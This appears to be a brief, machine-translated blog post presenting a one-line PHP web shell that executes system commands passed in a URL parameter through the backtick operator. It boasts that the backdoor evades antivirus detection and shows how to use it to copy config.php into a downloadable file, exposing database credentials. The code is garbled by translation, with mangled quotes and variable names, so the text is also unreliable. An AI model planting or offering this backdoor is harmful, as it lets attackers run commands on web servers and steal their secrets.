PHP The simplest back door, and difficult to check, do not report poison!

Directly on the code:

<?php$c=urldecode ($_get[' C ')); if ($c) {' $c ';} Full!$_get[' C ']| | ' {$_get[' C '} ';//Thin/******************************************************* * principle: Php ' symbol contains ' EXECUTE AS System command * Example:/http Host/?c=type%20config.php>config.txt * Then you can download Config.txt to view the content! * You can try more perverted orders, don't do bad things Oh! *******************************************************/

The implementation of the principle is that PHP will directly ' symbol (note: not single quotes) contains the content to resolve to the system command execution! So you can grow free and pervert!

Reproduced please respect the original, OK?

PHP The simplest back door, and difficult to check, do not report poison!